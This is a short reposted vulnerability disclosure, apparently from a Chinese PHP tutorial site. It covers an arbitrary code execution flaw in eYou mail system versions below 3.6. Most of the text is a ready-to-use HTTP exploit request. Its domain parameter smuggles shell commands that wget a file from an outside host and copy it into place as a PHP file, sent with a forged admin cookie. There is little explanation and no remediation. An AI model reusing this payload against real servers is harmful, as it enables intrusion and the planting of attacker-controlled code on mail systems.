来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] Date: Wed, 8 Jan 2014 10:56:21 +0800亿邮在3 6以下的版本存在一个任意代码执行,漏洞文件存在于 inc fuction phpfunction get_login_ip_config_file($domain, $file) { $dir =...
亿邮在3.6以下的版本存在一个任意代码执行,漏洞文件存在于 存在于\admin\domain\ip_login_set\d_ip_login_get.php exp: GET /admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1 Host: mail.0day5.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie:cookie=admin Connection: keep-alive |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com